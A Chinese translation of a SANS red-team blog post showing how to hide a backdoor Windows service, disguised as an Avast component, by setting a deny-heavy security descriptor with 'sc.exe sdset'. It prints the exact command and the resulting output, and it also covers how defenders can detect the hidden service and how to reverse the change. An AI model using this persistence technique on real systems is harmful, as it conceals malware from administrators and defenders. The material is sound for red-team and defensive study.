本文是翻译文章,原作者 Joshua Wright
原文地址:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
译文仅作参考,具体内容表达请见原文
在近期的一次红蓝对抗中遇到了一些蓝方大佬,我们使用了自行开发的后门程序来逃避目标主机上的EDR防护措施(终端检测响应平台)。但我们预估目标系统上的主机分析最终会检测到后门程序从而导致我们被扣分。
分析了一些EDR检测模型后,我们初步打算使用常规可信的服务名称来对抗检测,这些可信的服务名称可能会被优先忽略。在这里,SWCUEngine
是对应的后门程序,我们将其伪装成了AVAST软件清理引擎
。虽然这可能会逃避宽松的安全检查,但在真实的红蓝对抗中,这种方法还是不得劲。
# 使用Get-Service查看目标服务信息 PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine Status Name DisplayName ------ ---- ----------- Running SWCUEngine SWCUEngine
Windows服务支持使用安全描述符定义语言(SDDL)
来声明或控制服务权限。常规场景下管理员不会主动手动修改某一服务的SDDL语法,但是权限维持场景中攻击者可以通过修改目标服务的SDDL语法来实现隐藏服务的目的。在本栗子中,SWCUEngine
服务的隐藏效果不错。SDDL语法格式看起来有些臃肿,其主要使用了DACL和SACL组件中的ACE字符串
来声明或控制权限。关于ACE字符串
的文章请见此,ACE字符串
的格式如下:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)
成员 | 含义 |
---|---|
ace_type | 字符串格式,标识ACE_HEADER结构的AceType 成员的值 |
ace_flags | 字符串格式,标识ACE_HEADER结构的AceFlags 成员的值 |
rights | 字符串格式,标识由ACE控制的访问权限 |
object_guid | GUID格式,它指示特定于对象的ACE结构(例如ACCESS_ALLOWED_OBJECT_ACE)的ObjectType成员的值 |
inherit_object_guid | GUID格式,它指示特定于对象的ACE结构的InheritedObjectType 成员的值 |
account_sid | SID格式,用于指示ACE字符串所作用的目标用户/组 |
resource_attribute | 一个可选值,本文中未用到,故未做解释.. |
本文中出现的ace_type
主要为D(deny)
与A(allow)
,D条目始终排在最前面,其优先于A条目,A条目与默认权限相同。
相关ACE字符串
举例如下:
#ACE字符串(D;;DCLCWPDTSD;;;IU)含义如下: (D;;DCLCWPDTSD;;;IU) - # 拒绝(D)交互式用户 (IU) 以下权限: DC - SERVICE_CHANGE_CONFIG (更改服务配置) LC - SERVICE_QUERY_STATUS (查询服务状态的权利) WP - SERVICE_STOP (停止服务) DT - SERVICE_PAUSE_CONTINUE (暂停和继续服务) SD - DELETE (删除服务) (D;;DCLCWPDTSD;;;SU) - # 拒绝System用户(SU)与上述相同的权限集 (D;;DCLCWPDTSD;;;BA) - # 拒绝管理员组(BA)与上述相同的权限集
通过对目标服务进行此更改,可以实现持久隐藏:
# 使用sc.exe 修改 SWCUEngine 服务的SDDL语法以实现隐藏 PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" [SC] SetServiceObjectSecurity SUCCESS #验证 SWCUEngine 服务是否隐藏成功 PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine Get-Service : Cannot find any service with service name 'SWCUEngine'. At line:1 char:1 + Get-Service -Name SWCUEngine + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
隐藏后,无论是services.exe
、Get-Service
、sc query
或任何其它关于服务的控制工具均无法检索出对应信息,效果如下:
#以下三种查询服务信息的手段均无信息 PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine' PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine' PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine' PS C:\WINDOWS\system32
如果蓝队事先知道该服务的名称,他们可以通过尝试停止该服务来判断该服务是否存在。本例中,JoshNoSuchService
服务不存在,SWCUEngine
服务存在不过被隐藏了,这两种状态下通过Set-Service
指令来停止服务时的回显是不一样的,如下,前者会提示InvalidOperationException
,后者会提示ServiceCommandException
:
# 停止不存在的JoshNoSuchService服务得到 InvalidOperationException 异常 PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped Set-Service : Service JoshNoSuchService was not found on computer '.'. At line:1 char:1 + Set-Service -Name JoshNoSuchService -Status Stopped + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand # 停止存在但被隐藏的SWCUEngine服务得到ServiceCommandException异常 PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied At line:1 char:1 + Set-Service -Name SWCUEngine -Status Stopped + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service], ServiceCommandException + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand
如果知道被隐藏的服务名称,可以通过如下命令来取消隐藏:
# 使用sc.exe修改目标服务的SDDL语法实现取消隐藏 PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" [SC] SetServiceObjectSecurity SUCCESS # 现在使用 Get-Serice 指令可以查看到对应的服务信息 PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine' Status Name DisplayName ------ ---- ----------- Running SWCUEngine SWCUEngine
在红蓝对抗中,该思路可用于在目标主机进行隐藏后门的权限维持。而且即使目标系统重启,该隐藏服务也会自启动。